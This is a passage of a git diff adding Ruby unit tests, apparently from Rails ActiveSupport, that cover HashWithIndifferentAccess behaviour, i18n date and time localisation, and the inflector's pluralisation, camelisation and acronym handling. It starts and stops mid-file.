+    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
+
+    h = { user: { id: 5 } }.with_indifferent_access
+    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
+  end
+
+  def test_indifferent_duplication
+    # Should preserve default value
+    h = HashWithIndifferentAccess.new
+    h.default = "1234"
+    assert_equal h.default, h.dup.default
+
+    # Should preserve class for subclasses
+    h = IndifferentHash.new
+    assert_equal h.class, h.dup.class
+  end
+
+  def test_nested_dig_indifferent_access
+    skip if RUBY_VERSION < "2.3.0"
+    data = { "this" => { "views" => 1234 } }.with_indifferent_access
+    assert_equal 1234, data.dig(:this, :views)
+  end
+
+  def test_argless_default_with_existing_nil_key
+    h = Hash.new(:default).merge(nil => "defined").with_indifferent_access
+
+    assert_equal :default, h.default
+  end
+
+  def test_default_with_argument
+    h = Hash.new { 5 }.merge(1 => 2).with_indifferent_access
+
+    assert_equal 5, h.default(1)
+  end
+
+  def test_default_proc
+    h = ActiveSupport::HashWithIndifferentAccess.new { |hash, key| key }
+
+    assert_nil h.default
+    assert_equal "foo", h.default("foo")
+    assert_equal "foo", h.default(:foo)
+  end
+
+  def test_double_conversion_with_nil_key
+    h = { nil => "defined" }.with_indifferent_access.with_indifferent_access
+
+    assert_nil h[:undefined_key]
+  end
+
+  def test_assorted_keys_not_stringified
+    original = { Object.new => 2, 1 => 2, [] => true }
+    indiff = original.with_indifferent_access
+    assert(!indiff.keys.any? { |k| k.kind_of? String }, "A key was converted to a string!")
+  end
+
+  def test_deep_merge_on_indifferent_access
+    hash_1 = HashWithIndifferentAccess.new(a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } })
+    hash_2 = HashWithIndifferentAccess.new(a: 1, c: { c1: 2, c3: { d2: "d2" } })
+    hash_3 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
+    expected = { "a" => 1, "b" => "b", "c" => { "c1" => 2, "c2" => "c2", "c3" => { "d1" => "d1", "d2" => "d2" } } }
+    assert_equal expected, hash_1.deep_merge(hash_2)
+    assert_equal expected, hash_1.deep_merge(hash_3)
+
+    hash_1.deep_merge!(hash_2)
+    assert_equal expected, hash_1
+  end
+
+  def test_store_on_indifferent_access
+    hash = HashWithIndifferentAccess.new
+    hash.store(:test1, 1)
+    hash.store("test1", 11)
+    hash[:test2] = 2
+    hash["test2"] = 22
+    expected = { "test1" => 11, "test2" => 22 }
+    assert_equal expected, hash
+  end
+
+  def test_constructor_on_indifferent_access
+    hash = HashWithIndifferentAccess[:foo, 1]
+    assert_equal 1, hash[:foo]
+    assert_equal 1, hash["foo"]
+    hash[:foo] = 3
+    assert_equal 3, hash[:foo]
+    assert_equal 3, hash["foo"]
+  end
+
+  def test_indifferent_slice
+    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    expected = { a: "x", b: "y" }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      # Should return a new hash with only the given keys.
+      assert_equal expected, original.slice(*keys), keys.inspect
+      assert_not_equal expected, original
+    end
+  end
+
+  def test_indifferent_slice_inplace
+    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    expected = { c: 10 }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      # Should replace the hash with only the given keys.
+      copy = original.dup
+      assert_equal expected, copy.slice!(*keys)
+    end
+  end
+
+  def test_indifferent_slice_access_with_symbols
+    original = { "login" => "bender", "password" => "shiny", "stuff" => "foo" }
+    original = original.with_indifferent_access
+
+    slice = original.slice(:login, :password)
+
+    assert_equal "bender", slice[:login]
+    assert_equal "bender", slice["login"]
+  end
+
+  def test_indifferent_extract
+    original = { :a => 1, "b" => 2, :c => 3, "d" => 4 }.with_indifferent_access
+    expected = { a: 1, b: 2 }.with_indifferent_access
+    remaining = { c: 3, d: 4 }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      copy = original.dup
+      assert_equal expected, copy.extract!(*keys)
+      assert_equal remaining, copy
+    end
+  end
+
+  def test_new_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
+    assert hash.key?("a")
+    assert_equal 1, hash[:a]
+  end
+
+  def test_dup_with_default_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, v| raise "walrus" }
+    assert_nothing_raised { hash.dup }
+  end
+
+  def test_dup_with_default_proc_sets_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, k| k + 1 }
+    new_hash = hash.dup
+
+    assert_equal 3, new_hash[2]
+
+    new_hash.default = 2
+    assert_equal 2, new_hash[:non_existent]
+  end
+
+  def test_to_hash_with_raising_default_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, k| raise "walrus" }
+
+    assert_nothing_raised { hash.to_hash }
+  end
+
+  def test_new_with_to_hash_conversion_copies_default
+    normal_hash = Hash.new(3)
+    normal_hash[:a] = 1
+
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
+    assert_equal 1, hash[:a]
+    assert_equal 3, hash[:b]
+  end
+
+  def test_new_with_to_hash_conversion_copies_default_proc
+    normal_hash = Hash.new { 1 + 2 }
+    normal_hash[:a] = 1
+
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
+    assert_equal 1, hash[:a]
+    assert_equal 3, hash[:b]
+  end
+
+  def test_inheriting_from_top_level_hash_with_indifferent_access_preserves_ancestors_chain
+    klass = Class.new(::HashWithIndifferentAccess)
+    assert_equal ActiveSupport::HashWithIndifferentAccess, klass.ancestors[1]
+  end
+
+  def test_inheriting_from_hash_with_indifferent_access_properly_dumps_ivars
+    klass = Class.new(::HashWithIndifferentAccess) do
+      def initialize(*)
+        @foo = "bar"
+        super
+      end
+    end
+
+    yaml_output = klass.new.to_yaml
+
+    # `hash-with-ivars` was introduced in 2.0.9 (https://git.io/vyUQW)
+    if Gem::Version.new(Psych::VERSION) >= Gem::Version.new("2.0.9")
+      assert_includes yaml_output, "hash-with-ivars"
+      assert_includes yaml_output, "@foo: bar"
+    else
+      assert_includes yaml_output, "hash"
+    end
+  end
+
+  def test_should_use_default_proc_for_unknown_key
+    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+    assert_equal 3, hash_wia[:new_key]
+  end
+
+  def test_should_return_nil_if_no_key_is_supplied
+    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+    assert_nil hash_wia.default
+  end
+
+  def test_should_use_default_value_for_unknown_key
+    hash_wia = HashWithIndifferentAccess.new(3)
+    assert_equal 3, hash_wia[:new_key]
+  end
+
+  def test_should_use_default_value_if_no_key_is_supplied
+    hash_wia = HashWithIndifferentAccess.new(3)
+    assert_equal 3, hash_wia.default
+  end
+
+  def test_should_nil_if_no_default_value_is_supplied
+    hash_wia = HashWithIndifferentAccess.new
+    assert_nil hash_wia.default
+  end
+
+  def test_should_return_dup_for_with_indifferent_access
+    hash_wia = HashWithIndifferentAccess.new
+    assert_equal hash_wia, hash_wia.with_indifferent_access
+    assert_not_same hash_wia, hash_wia.with_indifferent_access
+  end
+
+  def test_allows_setting_frozen_array_values_with_indifferent_access
+    value = [1, 2, 3].freeze
+    hash = HashWithIndifferentAccess.new
+    hash[:key] = value
+    assert_equal hash[:key], value
+  end
+
+  def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
+    hash = Hash.new(3)
+    hash_wia = hash.with_indifferent_access
+    assert_equal 3, hash_wia.default
+  end
+
+  def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
+    hash = Hash.new do
+      2 + 1
+    end
+    assert_equal 3, hash[:foo]
+
+    hash_wia = hash.with_indifferent_access
+    assert_equal 3, hash_wia[:foo]
+    assert_equal 3, hash_wia[:bar]
+  end
+end
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
new file mode 100644
index 0000000000..8ad9441f9d
--- /dev/null
+++ b/activesupport/test/i18n_test.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "active_support/core_ext/array/conversions"
+
+class I18nTest < ActiveSupport::TestCase
+  def setup
+    @date = Date.parse("2008-7-2")
+    @time = Time.utc(2008, 7, 2, 16, 47, 1)
+  end
+
+  def test_time_zone_localization_with_default_format
+    now = Time.local(2000)
+    assert_equal now.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(now)
+  end
+
+  def test_date_localization_should_use_default_format
+    assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date)
+  end
+
+  def test_date_localization_with_default_format
+    assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date, format: :default)
+  end
+
+  def test_date_localization_with_short_format
+    assert_equal @date.strftime("%b %d"), I18n.localize(@date, format: :short)
+  end
+
+  def test_date_localization_with_long_format
+    assert_equal @date.strftime("%B %d, %Y"), I18n.localize(@date, format: :long)
+  end
+
+  def test_time_localization_should_use_default_format
+    assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time)
+  end
+
+  def test_time_localization_with_default_format
+    assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time, format: :default)
+  end
+
+  def test_time_localization_with_short_format
+    assert_equal @time.strftime("%d %b %H:%M"), I18n.localize(@time, format: :short)
+  end
+
+  def test_time_localization_with_long_format
+    assert_equal @time.strftime("%B %d, %Y %H:%M"), I18n.localize(@time, format: :long)
+  end
+
+  def test_day_names
+    assert_equal Date::DAYNAMES, I18n.translate(:'date.day_names')
+  end
+
+  def test_abbr_day_names
+    assert_equal Date::ABBR_DAYNAMES, I18n.translate(:'date.abbr_day_names')
+  end
+
+  def test_month_names
+    assert_equal Date::MONTHNAMES, I18n.translate(:'date.month_names')
+  end
+
+  def test_abbr_month_names
+    assert_equal Date::ABBR_MONTHNAMES, I18n.translate(:'date.abbr_month_names')
+  end
+
+  def test_date_order
+    assert_equal %w(year month day), I18n.translate(:'date.order')
+  end
+
+  def test_time_am
+    assert_equal "am", I18n.translate(:'time.am')
+  end
+
+  def test_time_pm
+    assert_equal "pm", I18n.translate(:'time.pm')
+  end
+
+  def test_words_connector
+    assert_equal ", ", I18n.translate(:'support.array.words_connector')
+  end
+
+  def test_two_words_connector
+    assert_equal " and ", I18n.translate(:'support.array.two_words_connector')
+  end
+
+  def test_last_word_connector
+    assert_equal ", and ", I18n.translate(:'support.array.last_word_connector')
+  end
+
+  def test_to_sentence
+    default_two_words_connector = I18n.translate(:'support.array.two_words_connector')
+    default_last_word_connector = I18n.translate(:'support.array.last_word_connector')
+    assert_equal "a, b, and c", %w[a b c].to_sentence
+    I18n.backend.store_translations "en", support: { array: { two_words_connector: " & " } }
+    assert_equal "a & b", %w[a b].to_sentence
+    I18n.backend.store_translations "en", support: { array: { last_word_connector: " and " } }
+    assert_equal "a, b and c", %w[a b c].to_sentence
+  ensure
+    I18n.backend.store_translations "en", support: { array: { two_words_connector: default_two_words_connector } }
+    I18n.backend.store_translations "en", support: { array: { last_word_connector: default_last_word_connector } }
+  end
+
+  def test_to_sentence_with_empty_i18n_store
+    assert_equal "a, b, and c", %w[a b c].to_sentence(locale: "empty")
+  end
+end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
new file mode 100644
index 0000000000..eeec0ab1a5
--- /dev/null
+++ b/activesupport/test/inflector_test.rb
@@ -0,0 +1,548 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/inflector"
+
+require "inflector_test_cases"
+require "constantize_test_cases"
+
+class InflectorTest < ActiveSupport::TestCase
+  include InflectorTestCases
+  include ConstantizeTestCases
+
+  def setup
+    # Dups the singleton before each test, restoring the original inflections later.
+    #
+    # This helper is implemented by setting @__instance__ because in some tests
+    # there are module functions that access ActiveSupport::Inflector.inflections,
+    # so we need to replace the singleton itself.
+    @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections.dup)
+  end
+
+  def teardown
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections)
+  end
+
+  def test_pluralize_plurals
+    assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals")
+    assert_equal "Plurals", ActiveSupport::Inflector.pluralize("Plurals")
+  end
+
+  def test_pluralize_empty_string
+    assert_equal "", ActiveSupport::Inflector.pluralize("")
+  end
+
+  test "uncountability of ascii word" do
+    word = "HTTP"
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.uncountable word
+    end
+
+    assert_equal word, ActiveSupport::Inflector.pluralize(word)
+    assert_equal word, ActiveSupport::Inflector.singularize(word)
+    assert_equal ActiveSupport::Inflector.pluralize(word), ActiveSupport::Inflector.singularize(word)
+
+    ActiveSupport::Inflector.inflections.uncountables.pop
+  end
+
+  test "uncountability of non-ascii word" do
+    word = "猫"
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.uncountable word
+    end
+
+    assert_equal word, ActiveSupport::Inflector.pluralize(word)
+    assert_equal word, ActiveSupport::Inflector.singularize(word)
+    assert_equal ActiveSupport::Inflector.pluralize(word), ActiveSupport::Inflector.singularize(word)
+
+    ActiveSupport::Inflector.inflections.uncountables.pop
+  end
+
+  ActiveSupport::Inflector.inflections.uncountable.each do |word|
+    define_method "test_uncountability_of_#{word}" do
+      assert_equal word, ActiveSupport::Inflector.singularize(word)
+      assert_equal word, ActiveSupport::Inflector.pluralize(word)
+      assert_equal ActiveSupport::Inflector.pluralize(word), ActiveSupport::Inflector.singularize(word)
+    end
+  end
+
+  def test_uncountable_word_is_not_greedy
+    uncountable_word = "ors"
+    countable_word = "sponsor"
+
+    ActiveSupport::Inflector.inflections.uncountable << uncountable_word
+
+    assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word)
+    assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word)
+    assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word)
+
+    assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word)
+    assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word)
+    assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word))
+  end
+
+  SingularToPlural.each do |singular, plural|
+    define_method "test_pluralize_singular_#{singular}" do
+      assert_equal(plural, ActiveSupport::Inflector.pluralize(singular))
+      assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(singular.capitalize))
+    end
+  end
+
+  SingularToPlural.each do |singular, plural|
+    define_method "test_singularize_plural_#{plural}" do
+      assert_equal(singular, ActiveSupport::Inflector.singularize(plural))
+      assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(plural.capitalize))
+    end
+  end
+
+  SingularToPlural.each do |singular, plural|
+    define_method "test_pluralize_plural_#{plural}" do
+      assert_equal(plural, ActiveSupport::Inflector.pluralize(plural))
+      assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(plural.capitalize))
+    end
+
+    define_method "test_singularize_singular_#{singular}" do
+      assert_equal(singular, ActiveSupport::Inflector.singularize(singular))
+      assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(singular.capitalize))
+    end
+  end
+
+  def test_overwrite_previous_inflectors
+    assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+    ActiveSupport::Inflector.inflections.singular "series", "serie"
+    assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+  end
+
+  MixtureToTitleCase.each_with_index do |(before, titleized), index|
+    define_method "test_titleize_mixture_to_title_case_#{index}" do
+      assert_equal(titleized, ActiveSupport::Inflector.titleize(before), "mixture \
+        to TitleCase failed for #{before}")
+    end
+  end
+
+  MixtureToTitleCaseWithKeepIdSuffix.each_with_index do |(before, titleized), index|
+    define_method "test_titleize_with_keep_id_suffix_mixture_to_title_case_#{index}" do
+      assert_equal(titleized, ActiveSupport::Inflector.titleize(before, keep_id_suffix: true),
+        "mixture to TitleCase with keep_id_suffix failed for #{before}")
+    end
+  end
+
+  def test_camelize
+    CamelToUnderscore.each do |camel, underscore|
+      assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
+    end
+  end
+
+  def test_camelize_with_lower_downcases_the_first_letter
+    assert_equal("capital", ActiveSupport::Inflector.camelize("Capital", false))
+  end
+
+  def test_camelize_with_underscores
+    assert_equal("CamelCase", ActiveSupport::Inflector.camelize("Camel_Case"))
+  end
+
+  def test_acronyms
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym("API")
+      inflect.acronym("HTML")
+      inflect.acronym("HTTP")
+      inflect.acronym("RESTful")
+      inflect.acronym("W3C")
+      inflect.acronym("PhD")
+      inflect.acronym("RoR")
+      inflect.acronym("SSL")
+    end
+
+    #  camelize             underscore            humanize              titleize
+    [
+      ["API",               "api",                "API",                "API"],
+      ["APIController",     "api_controller",     "API controller",     "API Controller"],
+      ["Nokogiri::HTML",    "nokogiri/html",      "Nokogiri/HTML",      "Nokogiri/HTML"],
+      ["HTTPAPI",           "http_api",           "HTTP API",           "HTTP API"],
+      ["HTTP::Get",         "http/get",           "HTTP/get",           "HTTP/Get"],
+      ["SSLError",          "ssl_error",          "SSL error",          "SSL Error"],
+      ["RESTful",           "restful",            "RESTful",            "RESTful"],
+      ["RESTfulController", "restful_controller", "RESTful controller", "RESTful Controller"],
+      ["Nested::RESTful",   "nested/restful",     "Nested/RESTful",     "Nested/RESTful"],
+      ["IHeartW3C",         "i_heart_w3c",        "I heart W3C",        "I Heart W3C"],
+      ["PhDRequired",       "phd_required",       "PhD required",       "PhD Required"],
+      ["IRoRU",             "i_ror_u",            "I RoR u",            "I RoR U"],
+      ["RESTfulHTTPAPI",    "restful_http_api",   "RESTful HTTP API",   "RESTful HTTP API"],
+      ["HTTP::RESTful",     "http/restful",       "HTTP/RESTful",       "HTTP/RESTful"],
+      ["HTTP::RESTfulAPI",  "http/restful_api",   "HTTP/RESTful API",   "HTTP/RESTful API"],
+      ["APIRESTful",        "api_restful",        "API RESTful",        "API RESTful"],
+
+      # misdirection
+      ["Capistrano",        "capistrano",         "Capistrano",       "Capistrano"],
+      ["CapiController",    "capi_controller",    "Capi controller",  "Capi Controller"],
+      ["HttpsApis",         "https_apis",         "Https apis",       "Https Apis"],
+      ["Html5",             "html5",              "Html5",            "Html5"],
+      ["Restfully",         "restfully",          "Restfully",        "Restfully"],
+      ["RoRails",           "ro_rails",           "Ro rails",         "Ro Rails"]
+    ].each do |camel, under, human, title|
+      assert_equal(camel, ActiveSupport::Inflector.camelize(under))
+      assert_equal(camel, ActiveSupport::Inflector.camelize(camel))
+      assert_equal(under, ActiveSupport::Inflector.underscore(under))
+      assert_equal(under, ActiveSupport::Inflector.underscore(camel))
+      assert_equal(title, ActiveSupport::Inflector.titleize(under))
+      assert_equal(title, ActiveSupport::Inflector.titleize(camel))
+      assert_equal(human, ActiveSupport::Inflector.humanize(under))
+    end
+  end
+
+  def test_acronym_override
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym("API")
+      inflect.acronym("LegacyApi")
+    end
+
+    assert_equal("LegacyApi", ActiveSupport::Inflector.camelize("legacyapi"))
+    assert_equal("LegacyAPI", ActiveSupport::Inflector.camelize("legacy_api"))
+    assert_equal("SomeLegacyApi", ActiveSupport::Inflector.camelize("some_legacyapi"))
+    assert_equal("Nonlegacyapi", ActiveSupport::Inflector.camelize("nonlegacyapi"))
+  end
+
+  def test_acronyms_camelize_lower
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym("API")
+      inflect.acronym("HTML")
+    end
+
+    assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("html_api", false))
+    assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("htmlAPI", false))
+    assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("HTMLAPI", false))
+  end
+
+  def test_underscore_acronym_sequence
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym("API")
+      inflect.acronym("JSON")
+      inflect.acronym("HTML")
+    end
+
+    assert_equal("json_html_api", ActiveSupport::Inflector.underscore("JSONHTMLAPI"))
+  end
+
+  def test_underscore
+    CamelToUnderscore.each do |camel, underscore|
+      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+    end
+    CamelToUnderscoreWithoutReverse.each do |camel, underscore|
+      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+    end
+  end
+
+  def test_camelize_with_module
+    CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
+      assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
+    end
+  end
+
+  def test_underscore_with_slashes
+    CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
+      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+    end
+  end
+
+  def test_demodulize
+    assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
+    assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+    assert_equal "Account", ActiveSupport::Inflector.demodulize("::Account")
+    assert_equal "", ActiveSupport::Inflector.demodulize("")
+  end
+
+  def test_deconstantize
+    assert_equal "MyApplication::Billing", ActiveSupport::Inflector.deconstantize("MyApplication::Billing::Account")
+    assert_equal "::MyApplication::Billing", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing::Account")
+
+    assert_equal "MyApplication", ActiveSupport::Inflector.deconstantize("MyApplication::Billing")
+    assert_equal "::MyApplication", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing")
+
+    assert_equal "", ActiveSupport::Inflector.deconstantize("Account")
+    assert_equal "", ActiveSupport::Inflector.deconstantize("::Account")
+    assert_equal "", ActiveSupport::Inflector.deconstantize("")
+  end
+
+  def test_foreign_key
+    ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
+      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass))
+    end
+
+    ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
+      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass, false))
+    end
+  end
+
+  def test_tableize
+    ClassNameToTableName.each do |class_name, table_name|
+      assert_equal(table_name, ActiveSupport::Inflector.tableize(class_name))
+    end
+  end
+
+  def test_parameterize
+    StringToParameterized.each do |some_string, parameterized_string|
+      assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
+    end
+  end
+
+  def test_parameterize_and_normalize
+    StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
+      assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
+    end
+  end
+
+  def test_parameterize_with_custom_separator
+    StringToParameterizeWithUnderscore.each do |some_string, parameterized_string|
+      assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, separator: "_"))
+    end
+  end
+
+  def test_parameterize_with_multi_character_separator
+    StringToParameterized.each do |some_string, parameterized_string|
+      assert_equal(parameterized_string.gsub("-", "__sep__"), ActiveSupport::Inflector.parameterize(some_string, separator: "__sep__"))
+    end
+  end
+
+  def test_classify
+    ClassNameToTableName.each do |class_name, table_name|
+      assert_equal(class_name, ActiveSupport::Inflector.classify(table_name))
+      assert_equal(class_name, ActiveSupport::Inflector.classify("table_prefix." + table_name))
+    end
+  end
+
+  def test_classify_with_symbol
+    assert_nothing_raised do
+      assert_equal "FooBar", ActiveSupport::Inflector.classify(:foo_bars)
+    end
+  end
+
+  def test_classify_with_leading_schema_name
+    assert_equal "FooBar", ActiveSupport::Inflector.classify("schema.foo_bar")
+  end
+
+  def test_humanize
+    UnderscoreToHuman.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore))
+    end
+  end
+
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
+    end
+  end
+
+  def test_humanize_with_keep_id_suffix
+    UnderscoreToHumanWithKeepIdSuffix.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore, keep_id_suffix: true))
+    end
+  end
+
+  def test_humanize_by_rule
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.human(/_cnt$/i, '\1_count')
+      inflect.human(/^prefx_/i, '\1')
+    end
+    assert_equal("Jargon count", ActiveSupport::Inflector.humanize("jargon_cnt"))
+    assert_equal("Request", ActiveSupport::Inflector.humanize("prefx_request"))
+  end
+
+  def test_humanize_by_string
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.human("col_rpted_bugs", "Reported bugs")
+    end
+    assert_equal("Reported bugs", ActiveSupport::Inflector.humanize("col_rpted_bugs"))
+    assert_equal("Col rpted bugs", ActiveSupport::Inflector.humanize("COL_rpted_bugs"))
+  end
+
+  def test_constantize
+    run_constantize_tests_on do |string|
+      ActiveSupport::Inflector.constantize(string)
+    end
+  end
+
+  def test_safe_constantize
+    run_safe_constantize_tests_on do |string|
+      ActiveSupport::Inflector.safe_constantize(string)
+    end
+  end
+
+  def test_ordinal
+    OrdinalNumbers.each do |number, ordinalized|
+      assert_equal(ordinalized, number + ActiveSupport::Inflector.ordinal(number))
+    end
+  end
+
+  def test_ordinalize
+    OrdinalNumbers.each do |number, ordinalized|
+      assert_equal(ordinalized, ActiveSupport::Inflector.ordinalize(number))
+    end
+  end
+
+  def test_dasherize
+    UnderscoresToDashes.each do |underscored, dasherized|
+      assert_equal(dasherized, ActiveSupport::Inflector.dasherize(underscored))
+    end
+  end
+
+  def test_underscore_as_reverse_of_dasherize
+    UnderscoresToDashes.each_key do |underscored|
+      assert_equal(underscored, ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.dasherize(underscored)))
+    end
+  end
+
+  def test_underscore_to_lower_camel
+    UnderscoreToLowerCamel.each do |underscored, lower_camel|
+      assert_equal(lower_camel, ActiveSupport::Inflector.camelize(underscored, false))
+    end
+  end
+
+  def test_symbol_to_lower_camel
+    SymbolToLowerCamel.each do |symbol, lower_camel|
+      assert_equal(lower_camel, ActiveSupport::Inflector.camelize(symbol, false))
+    end
+  end
+
+  %w{plurals singulars uncountables humans}.each do |inflection_type|
+    class_eval <<-RUBY, __FILE__, __LINE__ + 1
+      def test_clear_#{inflection_type}
+        ActiveSupport::Inflector.inflections.clear :#{inflection_type}
+        assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\"
+      end
+    RUBY
+  end
+
+  def test_inflector_locality
+    ActiveSupport::Inflector.inflections(:es) do |inflect|
+      inflect.plural(/$/, "s")
+      inflect.plural(/z$/i, "ces")
+
+      inflect.singular(/s$/, "")
+      inflect.singular(/es$/, "")
+
+      inflect.irregular("el", "los")
+
+      inflect.uncountable("agua")
+    end
+
+    assert_equal("hijos", "hijo".pluralize(:es))
+    assert_equal("luces", "luz".pluralize(:es))
+    assert_equal("luzs", "luz".pluralize)
+
+    assert_equal("sociedad", "sociedades".singularize(:es))
+    assert_equal("sociedade", "sociedades".singularize)
+
+    assert_equal("los", "el".pluralize(:es))
+    assert_equal("els", "el".pluralize)
+
+    assert_equal("agua", "agua".pluralize(:es))
+    assert_equal("aguas", "agua".pluralize)
+
+    ActiveSupport::Inflector.inflections(:es) { |inflect| inflect.clear }
+
+    assert ActiveSupport::Inflector.inflections(:es).plurals.empty?
+    assert ActiveSupport::Inflector.inflections(:es).singulars.empty?
+    assert ActiveSupport::Inflector.inflections(:es).uncountables.empty?
+    assert !ActiveSupport::Inflector.inflections.plurals.empty?
+    assert !ActiveSupport::Inflector.inflections.singulars.empty?
+    assert !ActiveSupport::Inflector.inflections.uncountables.empty?
+  end
+
+  def test_clear_all
+    ActiveSupport::Inflector.inflections do |inflect|
+      # ensure any data is present
+      inflect.plural(/(quiz)$/i, '\1zes')
+      inflect.singular(/(database)s$/i, '\1')
+      inflect.uncountable("series")
+      inflect.human("col_rpted_bugs", "Reported bugs")
+
+      inflect.clear :all
+
+      assert inflect.plurals.empty?
+      assert inflect.singulars.empty?
+      assert inflect.uncountables.empty?
+      assert inflect.humans.empty?
+    end
+  end
+
+  def test_clear_with_default
+    ActiveSupport::Inflector.inflections do |inflect|
+      # ensure any data is present
+      inflect.plural(/(quiz)$/i, '\1zes')
+      inflect.singular(/(database)s$/i, '\1')
+      inflect.uncountable("series")
+      inflect.human("col_rpted_bugs", "Reported bugs")
+
+      inflect.clear
+
+      assert inflect.plurals.empty?
+      assert inflect.singulars.empty?
+      assert inflect.uncountables.empty?
+      assert inflect.humans.empty?
+    end
+  end
+
+  Irregularities.each do |singular, plural|
+    define_method("test_irregularity_between_#{singular}_and_#{plural}") do
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.irregular(singular, plural)
+        assert_equal singular, ActiveSupport::Inflector.singularize(plural)
+        assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+      end
+    end
+  end
+
+  Irregularities.each do |singular, plural|
+    define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.irregular(singular, plural)
+        assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+      end
+    end
+  end
+
+  Irregularities.each do |singular, plural|
+    define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.irregular(singular, plural)
+        assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+      end
+    end
+  end
+
+  [ :all, [] ].each do |scope|
+    ActiveSupport::Inflector.inflections do |inflect|
